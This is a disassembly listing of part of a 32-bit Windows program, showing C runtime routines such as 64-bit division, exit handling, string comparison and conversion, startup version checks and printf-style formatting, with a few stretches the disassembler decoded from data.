rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_417797
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_4177C5
cmp edx, [esp+0Ch+arg_4]
ja short loc_4177C5
jb short loc_4177C6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_4177C6
loc_4177C5: ; CODE XREF: sub_417730+85j
; sub_417730+8Bj
dec esi
loc_4177C6: ; CODE XREF: sub_417730+8Dj
; sub_417730+93j
xor edx, edx
mov eax, esi
loc_4177CA: ; CODE XREF: sub_417730+57j
dec edi
jnz short loc_4177D4
neg edx
neg eax
sbb edx, 0
loc_4177D4: ; CODE XREF: sub_417730+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_417730 endp
; =============== S U B R O U T I N E =======================================
sub_4177DA proc near ; CODE XREF: seg000:00417B6Bp
mov eax, ds:off_437D1C
test eax, eax
jz short loc_4177E5
call eax ; sub_415F1B
loc_4177E5: ; CODE XREF: sub_4177DA+7j
push offset dword_423028
push offset dword_423014
call sub_4178C2
push offset dword_423010
push offset dword_423000
call sub_4178C2
add esp, 10h
retn
sub_4177DA endp
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call loc_417829
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_417818 proc near ; CODE XREF: sub_417BCE+1Cp
; sub_41AB7C+342Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call loc_417829
add esp, 0Ch
retn
sub_417818 endp
; ---------------------------------------------------------------------------
loc_417829: ; CODE XREF: seg000:0041780Fp
; sub_417818+8p
push edi
push 1
pop edi
cmp ds:dword_4694BC, edi
jnz short loc_417846
push dword ptr [esp+8]
call near ptr 3D0000h
mov byte ptr [eax-18h], 0BBh
xchg edi, ebx
; ---------------------------------------------------------------------------
db 0FFh, 0EBh
; ---------------------------------------------------------------------------
loc_417846: ; CODE XREF: seg000:00417833j
cmp dword ptr [esp+0Ch], 0
push ebx
mov ebx, [esp+14h]
mov ds:dword_4694B8, edi
mov ds:byte_4694B4, bl
jnz short loc_41789A
mov eax, ds:dword_46AAF4
test eax, eax
jz short loc_417889
mov ecx, ds:dword_46AAF0
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_417888
loc_417875: ; CODE XREF: seg000:00417886j
mov eax, [esi]
test eax, eax
jz short loc_41787D
call eax
loc_41787D: ; CODE XREF: seg000:00417879j
sub esi, 4
cmp esi, ds:dword_46AAF4
jnb short loc_417875
loc_417888: ; CODE XREF: seg000:00417873j
pop esi
loc_417889: ; CODE XREF: seg000:00417865j
push offset dword_423034
push offset dword_42302C
call sub_4178C2
pop ecx
pop ecx
loc_41789A: ; CODE XREF: seg000:0041785Cj
push offset dword_423040
push offset dword_423038
call sub_4178C2
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_4178C0
push dword ptr [esp+8]
mov ds:dword_4694BC, edi
call ds:dword_421114 ; ExitProcess
loc_4178C0: ; CODE XREF: seg000:004178AEj
pop edi
retn
; =============== S U B R O U T I N E =======================================
sub_4178C2 proc near ; CODE XREF: sub_4177DA+15p
; sub_4177DA+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_4178C7: ; CODE XREF: sub_4178C2+16j
cmp esi, [esp+4+arg_4]
jnb short loc_4178DA
mov eax, [esi]
test eax, eax
jz short loc_4178D5
call eax
loc_4178D5: ; CODE XREF: sub_4178C2+Fj
add esi, 4
jmp short loc_4178C7
; ---------------------------------------------------------------------------
loc_4178DA: ; CODE XREF: sub_4178C2+9j
pop esi
retn
sub_4178C2 endp
; =============== S U B R O U T I N E =======================================
sub_4178DC proc near ; CODE XREF: seg000:0040F8E3p
arg_0 = dword ptr 4
push [esp+arg_0]
call near ptr 3D0000h
dec eax
test eax, eax
jnz short loc_4178F2
call ds:dword_421088 ; RtlGetLastWin32Error
jmp short loc_4178F4
; ---------------------------------------------------------------------------
loc_4178F2: ; CODE XREF: sub_4178DC+Cj
xor eax, eax
loc_4178F4: ; CODE XREF: sub_4178DC+14j
test eax, eax
jz short loc_417903
push eax
call sub_41C5B7
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417903: ; CODE XREF: sub_4178DC+1Aj
xor eax, eax
retn
sub_4178DC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417910 proc near ; CODE XREF: sub_412B46+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41795C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41795D
test eax, 1
jz short loc_41793D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41798A
inc esi
inc edi
dec eax
jz short loc_41795A
loc_41793D: ; CODE XREF: sub_417910+20j
; sub_417910+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41798A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41798A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41793D
loc_41795A: ; CODE XREF: sub_417910+2Bj
; sub_417910+84j
pop edi
pop esi
locret_41795C: ; CODE XREF: sub_417910+6j
retn
; ---------------------------------------------------------------------------
loc_41795D: ; CODE XREF: sub_417910+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_417992
repe cmpsd
jz short loc_417992
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_417985
cmp ch, dh
jnz short loc_417985
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_417985
cmp ch, dh
loc_417985: ; CODE XREF: sub_417910+63j
; sub_417910+67j ...
mov eax, 0
loc_41798A: ; CODE XREF: sub_417910+26j
; sub_417910+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_417992: ; CODE XREF: sub_417910+55j
; sub_417910+59j
test eax, eax
jz short loc_41795A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_417985
dec eax
jz short loc_4179B9
cmp dh, ch
jnz short loc_417985
dec eax
jz short loc_4179B9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_417985
dec eax
loc_4179B9: ; CODE XREF: sub_417910+8Fj
; sub_417910+96j
pop edi
pop esi
retn
sub_417910 endp
; =============== S U B R O U T I N E =======================================
sub_4179BC proc near ; CODE XREF: sub_413C8F+55p
; seg000:004148D6p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_4179D3
loc_4179C9: ; CODE XREF: sub_4179BC+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_4179C9
loc_4179D3: ; CODE XREF: sub_4179BC+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_4179BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4179D9 proc near ; CODE XREF: sub_413C8F+19p
; sub_413C8F+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_417AA6
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_417AD3
cmp ds:dword_469508, esi
jnz short loc_417A2A
cmp edi, esi
jbe loc_417AD3
loc_417A09: ; CODE XREF: sub_4179D9+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_417AD3
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_417A09
jmp loc_417AD3
; ---------------------------------------------------------------------------
loc_417A2A: ; CODE XREF: sub_4179D9+26j
mov ebx, [ebp+arg_4]
mov esi, ds:dword_421064
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push ds:dword_469518
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_417AD2
call ds:dword_421088 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_417A64
loc_417A55: ; CODE XREF: sub_4179D9+CBj
; sub_4179D9+F7j
mov ds:dword_469474, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_417AD3
; ---------------------------------------------------------------------------
loc_417A64: ; CODE XREF: sub_4179D9+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_417A6C: ; CODE XREF: sub_4179D9+B3j
mov cl, [eax]
test cl, cl
jz short loc_417A8E
mov edx, ds:off_437D50
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_417A83
inc eax
loc_417A83: ; CODE XREF: sub_4179D9+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_417A6C
loc_417A8E: ; CODE XREF: sub_4179D9+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push ds:dword_469518
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_417AD3
jmp short loc_417A55
; ---------------------------------------------------------------------------
loc_417AA6: ; CODE XREF: sub_4179D9+Fj
cmp ds:dword_469508, esi
jnz short loc_417AB9
push [ebp+arg_4]
call sub_415CD0
pop ecx
jmp short loc_417AD3
; ---------------------------------------------------------------------------
loc_417AB9: ; CODE XREF: sub_4179D9+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push ds:dword_469518
call ds:dword_421064 ; MultiByteToWideChar
cmp eax, esi
jz short loc_417A55
loc_417AD2: ; CODE XREF: sub_4179D9+6Bj
dec eax
loc_417AD3: ; CODE XREF: sub_4179D9+1Aj
; sub_4179D9+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4179D9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421678
push offset sub_41CDE8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call ds:dword_42116C ; GetVersion
xor edx, edx
mov dl, ah
mov ds:dword_46948C, edx
mov ecx, eax
and ecx, 0FFh
mov ds:dword_469488, ecx
shl ecx, 8
add ecx, edx
mov ds:dword_469484, ecx
shr eax, 10h
mov ds:dword_469480, eax
xor esi, esi
push esi
call sub_418A63
pop ecx
test eax, eax
jnz short loc_417B44
push 1Ch
call sub_417BF3
pop ecx
loc_417B44: ; CODE XREF: seg000:00417B3Aj
mov [ebp-4], esi
call loc_41CC32
call near ptr 0C70004h
arpl word ptr ds:dword_46AAE4[ebx], sp
call sub_41CB00
mov ds:dword_4694C0, eax
call sub_41C8B3
call sub_41C7FA
call sub_4177DA
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call near ptr 0D30004h
shr eax, 20h
dec esp
; ---------------------------------------------------------------------------
dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
dd 9C75FF50h, 65E85656h, 2D009384h, 4AC0E850h, 4589FFFFh
dd 58E850A0h, 8BFFFFFCh, 88BEC45h, 4D89098Bh, 0E8515098h
dd 4A5Eh, 8BC35959h, 75FFE865h, 0FC4AE898h
db 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_417BCE proc near ; CODE XREF: sub_416832+16p
; sub_41C7FA+4Ep ...
arg_0 = dword ptr 4
cmp ds:dword_4694C8, 1
jnz short loc_417BDC
call sub_41CEC0
loc_417BDC: ; CODE XREF: sub_417BCE+7j
push [esp+arg_0]
call sub_41CEF9
push 0FFh
call ds:off_437D40
pop ecx
pop ecx
retn
sub_417BCE endp
; =============== S U B R O U T I N E =======================================
sub_417BF3 proc near ; CODE XREF: seg000:00417B3Ep
arg_0 = dword ptr 4
cmp ds:dword_4694C8, 1
jnz short loc_417C01
call sub_41CEC0
loc_417C01: ; CODE XREF: sub_417BF3+7j
push [esp+arg_0]
call sub_41CEF9
pop ecx
push 0FFh
call ds:dword_421114 ; ExitProcess
retn
sub_417BF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C17 proc near ; CODE XREF: sub_4154CD+46p
; sub_415A4A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_417D20
test al, 40h
jnz loc_417D20
test al, 1
jz short loc_417C4F
and dword ptr [esi+4], 0
test al, 10h
jz loc_417D20
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_417C4F: ; CODE XREF: sub_417C17+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_417C89
cmp esi, offset dword_438468
jz short loc_417C77
cmp esi, offset dword_438488
jnz short loc_417C82
loc_417C77: ; CODE XREF: sub_417C17+56j
push ebx
call sub_41D090
test eax, eax
pop ecx
jnz short loc_417C89
loc_417C82: ; CODE XREF: sub_417C17+5Ej
push esi
call sub_41D04C
pop ecx
loc_417C89: ; CODE XREF: sub_417C17+4Ej
; sub_417C17+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_417CF6
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_417CB9
push edi
push eax
push ebx
call sub_41C40A
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_417CEC
; ---------------------------------------------------------------------------
loc_417CB9: ; CODE XREF: sub_417C17+90j
cmp ebx, 0FFFFFFFFh
jz short loc_417CD4
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_46A7A0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_417CD9
; ---------------------------------------------------------------------------
loc_417CD4: ; CODE XREF: sub_417C17+A5j
mov eax, offset dword_4383B0
loc_417CD9: ; CODE XREF: sub_417C17+BBj
test byte ptr [eax+4], 20h
jz short loc_417CEC
push 2
push 0
push ebx
call sub_41BB5F
add esp, 0Ch
loc_417CEC: ; CODE XREF: sub_417C17+A0j
; sub_417C17+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_417D0A
; ---------------------------------------------------------------------------
loc_417CF6: ; CODE XREF: sub_417C17+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41C40A
add esp, 0Ch
mov [ebp+arg_4], eax
loc_417D0A: ; CODE XREF: sub_417C17+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_417D16
or dword ptr [esi+0Ch], 20h
jmp short loc_417D25
; ---------------------------------------------------------------------------
loc_417D16: ; CODE XREF: sub_417C17+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_417D28
; ---------------------------------------------------------------------------
loc_417D20: ; CODE XREF: sub_417C17+10j
; sub_417C17+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_417D25: ; CODE XREF: sub_417C17+FDj
or eax, 0FFFFFFFFh
loc_417D28: ; CODE XREF: sub_417C17+107j
pop esi
pop ebx
pop ebp
retn
sub_417C17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D2C proc near ; CODE XREF: sub_4154CD+29p
; sub_415A4A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_418445
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_417D60
; ---------------------------------------------------------------------------
loc_417D58: ; CODE XREF: sub_417D2C+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_417D60: ; CODE XREF: sub_417D2C+2Aj
cmp [ebp+var_14], edx
jl loc_418445
cmp bl, 20h
jl short loc_417D81
cmp bl, 78h
jg short loc_417D81
movsx eax, bl
mov al, [eax+421664h]
and eax, 0Fh
jmp short loc_417D83
; ---------------------------------------------------------------------------
loc_417D81: ; CODE XREF: sub_417D2C+40j
; sub_417D2C+45j
xor eax, eax
loc_417D83: ; CODE XREF: sub_417D2C+53j
movsx eax, ds:byte_421684[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_418434 ; default
jmp ds:off_41844D[eax*4] ; switch jump
loc_417DA1: ; DATA XREF: seg000:off_41844Do
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417D9A case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417DBC: ; CODE XREF: sub_417D2C+6Ej
; DATA XREF: seg000:off_41844Do
movsx eax, bl ; jumptable 00417D9A case 2
sub eax, 20h
jz short loc_417DFF
sub eax, 3
jz short loc_417DF6
sub eax, 8
jz short loc_417DED
dec eax
dec eax
jz short loc_417DE4
sub eax, 3
jnz loc_418434 ; default
or [ebp+var_4], 8
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417DE4: ; CODE XREF: sub_417D2C+A4j
or [ebp+var_4], 4
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417DED: ; CODE XREF: sub_417D2C+A0j
or [ebp+var_4], 1
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417DF6: ; CODE XREF: sub_417D2C+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417DFF: ; CODE XREF: sub_417D2C+96j
or [ebp+var_4], 2
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417E08: ; CODE XREF: sub_417D2C+6Ej
; DATA XREF: seg000:off_41844Do
cmp bl, 2Ah ; jumptable 00417D9A case 3
jnz short loc_417E30
lea eax, [ebp+arg_8]
push eax
call sub_41850B
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_418434 ; default
or [ebp+var_4], 4
neg eax
loc_417E28: ; CODE XREF: sub_417D2C+111j
mov [ebp+var_20], eax
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417E30: ; CODE XREF: sub_417D2C+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_417E28
; ---------------------------------------------------------------------------
loc_417E3F: ; CODE XREF: sub_417D2C+6Ej
; DATA XREF: seg000:off_41844Do
mov [ebp+var_10], edx ; jumptable 00417D9A case 4
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417E47: ; CODE XREF: sub_417D2C+6Ej
; DATA XREF: seg000:off_41844Do
cmp bl, 2Ah ; jumptable 00417D9A case 5
jnz short loc_417E6A
lea eax, [ebp+arg_8]
push eax
call sub_41850B
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_418434 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417E6A: ; CODE XREF: sub_417D2C+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417E7C: ; CODE XREF: sub_417D2C+6Ej
; DATA XREF: seg000:off_41844Do
cmp bl, 49h ; jumptable 00417D9A case 6
jz short loc_417EAF
cmp bl, 68h
jz short loc_417EA6
cmp bl, 6Ch
jz short loc_417E9D
cmp bl, 77h
jnz loc_418434 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417E9D: ; CODE XREF: sub_417D2C+15Dj
or [ebp+var_4], 10h
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417EA6: ; CODE XREF: sub_417D2C+158j
or [ebp+var_4], 20h
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417EAF: ; CODE XREF: sub_417D2C+153j
cmp byte ptr [edi], 36h
jnz short loc_417EC8
cmp byte ptr [edi+1], 34h
jnz short loc_417EC8
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417EC8: ; CODE XREF: sub_417D2C+186j
; sub_417D2C+18Cj
mov [ebp+var_30], edx
loc_417ECB: ; CODE XREF: sub_417D2C+6Ej
; DATA XREF: seg000:off_41844Do
mov ecx, ds:off_437D50 ; jumptable 00417D9A case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_417EF7
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41846D
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_417EF7: ; CODE XREF: sub_417D2C+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41846D
add esp, 0Ch
jmp loc_418434 ; default
; ---------------------------------------------------------------------------
loc_417F0F: ; CODE XREF: sub_417D2C+6Ej
; DATA XREF: seg000:off_41844Do
movsx eax, bl ; jumptable 00417D9A case 7
cmp eax, 67h
jg loc_418137
cmp eax, 65h
jge loc_417FBA
cmp eax, 58h
jg loc_418018
jz loc_4181AB
sub eax, 43h
jz loc_417FDB
dec eax
dec eax
jz short loc_417FB0
dec eax
dec eax
jz short loc_417FB0
sub eax, 0Ch
jnz loc_418336
test word ptr [ebp+var_4], 830h
jnz short loc_417F59
or byte ptr [ebp+var_4+1], 8
loc_417F59: ; CODE XREF: sub_417D2C+227j
; sub_417D2C+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_417F66
mov esi, 7FFFFFFFh
loc_417F66: ; CODE XREF: sub_417D2C+233j
lea eax, [ebp+arg_8]
push eax
call sub_41850B
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41817F
test ecx, ecx
jnz short loc_417F8E
mov ecx, ds:off_437D4C
mov [ebp+var_8], ecx
loc_417F8E: ; CODE XREF: sub_417D2C+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_417F97: ; CODE XREF: sub_417D2C+282j
mov edx, esi
dec esi
test edx, edx
jz loc_418176
cmp word ptr [eax], 0
jz loc_418176
inc eax
inc eax
jmp short loc_417F97
; ---------------------------------------------------------------------------
loc_417FB0: ; CODE XREF: sub_417D2C+212j
; sub_417D2C+216j
mov [ebp+var_34], 1
add bl, 20h
loc_417FBA: ; CODE XREF: sub_417D2C+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41809E
mov [ebp+var_10], 6
jmp loc_4180AC
; ---------------------------------------------------------------------------
loc_417FDB: ; CODE XREF: sub_417D2C+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_417FE7
or byte ptr [ebp+var_4+1], 8
loc_417FE7: ; CODE XREF: sub_417D2C+2B5j
; sub_417D2C+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41802E
call sub_418528
push eax
lea eax, [ebp+var_248]
push eax
call sub_41D16F
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_418041
mov [ebp+var_28], 1
jmp short loc_418041
; ---------------------------------------------------------------------------
loc_418018: ; CODE XREF: sub_417D2C+1FBj
sub eax, 5Ah
jz short loc_41804F
sub eax, 9
jz short loc_417FE7
dec eax
jz loc_418211
jmp loc_418336
; ---------------------------------------------------------------------------
loc_41802E: ; CODE XREF: sub_417D2C+2C5j
call sub_41850B
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_418041: ; CODE XREF: sub_417D2C+2E1j
; sub_417D2C+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_418336
; ---------------------------------------------------------------------------
loc_41804F: ; CODE XREF: sub_417D2C+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41850B
test eax, eax
pop ecx
jz short loc_418090
mov ecx, [eax+4]
test ecx, ecx
jz short loc_418090
test byte ptr [ebp+var_4+1], 8
jz short loc_418081
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_418336
; ---------------------------------------------------------------------------
loc_418081: ; CODE XREF: sub_417D2C+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_418333
; ---------------------------------------------------------------------------
loc_418090: ; CODE XREF: sub_417D2C+32Fj
; sub_417D2C+336j
mov eax, ds:off_437D48
mov [ebp+var_8], eax
push eax
jmp loc_41812C
; ---------------------------------------------------------------------------
loc_41809E: ; CODE XREF: sub_417D2C+29Dj
jnz short loc_4180AC
cmp bl, 67h
jnz short loc_4180AC
mov [ebp+var_10], 1
loc_4180AC: ; CODE XREF: sub_417D2C+2AAj
; sub_417D2C:loc_41809Ej ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call ds:off_438088
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_4180FE
cmp [ebp+var_10], 0
jnz short loc_4180FE
lea eax, [ebp+var_248]
push eax
call ds:off_438094
pop ecx
loc_4180FE: ; CODE XREF: sub_417D2C+3BCj
; sub_417D2C+3C2j
cmp bl, 67h
jnz short loc_418115
test esi, esi
jnz short loc_418115
lea eax, [ebp+var_248]
push eax
call ds:off_43808C
pop ecx
loc_418115: ; CODE XREF: sub_417D2C+3D5j
; sub_417D2C+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41812B
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41812B: ; CODE XREF: sub_417D2C+3F0j
push edi
loc_41812C: ; CODE XREF: sub_417D2C+36Dj
call sub_415CD0
pop ecx
jmp loc_418333
; ---------------------------------------------------------------------------
loc_418137: ; CODE XREF: sub_417D2C+1E9j
sub eax, 69h
jz loc_418211
sub eax, 5
jz loc_4181E7
dec eax
jz loc_4181D4
dec eax
jz short loc_4181A4
sub eax, 3
jz loc_417F59
dec eax
dec eax
jz loc_418215
sub eax, 3
jnz loc_418336
mov [ebp+var_2C], 27h
jmp short loc_4181B2
; ---------------------------------------------------------------------------
loc_418176: ; CODE XREF: sub_417D2C+270j
; sub_417D2C+27Aj
sub eax, ecx
sar eax, 1
jmp loc_418333
; ---------------------------------------------------------------------------
loc_41817F: ; CODE XREF: sub_417D2C+24Fj
test ecx, ecx
jnz short loc_41818C
mov ecx, ds:off_437D48
mov [ebp+var_8], ecx
loc_41818C: ; CODE XREF: sub_417D2C+455j
mov eax, ecx
loc_41818E: ; CODE XREF: sub_417D2C+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41819D
cmp byte ptr [eax], 0
jz short loc_41819D
inc eax
jmp short loc_41818E
; ---------------------------------------------------------------------------
loc_41819D: ; CODE XREF: sub_417D2C+467j
; sub_417D2C+46Cj
sub eax, ecx
jmp loc_418333
; ---------------------------------------------------------------------------
loc_4181A4: ; CODE XREF: sub_417D2C+425j
mov [ebp+var_10], 8
loc_4181AB: ; CODE XREF: sub_417D2C+201j
mov [ebp+var_2C], 7
loc_4181B2: ; CODE XREF: sub_417D2C+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41821C
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41821C
; ---------------------------------------------------------------------------
loc_4181D4: ; CODE XREF: sub_417D2C+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41821C
or byte ptr [ebp+var_4+1], 2
jmp short loc_41821C
; ---------------------------------------------------------------------------
loc_4181E7: ; CODE XREF: sub_417D2C+417j
lea eax, [ebp+arg_8]
push eax
call sub_41850B
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_418200
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_418205
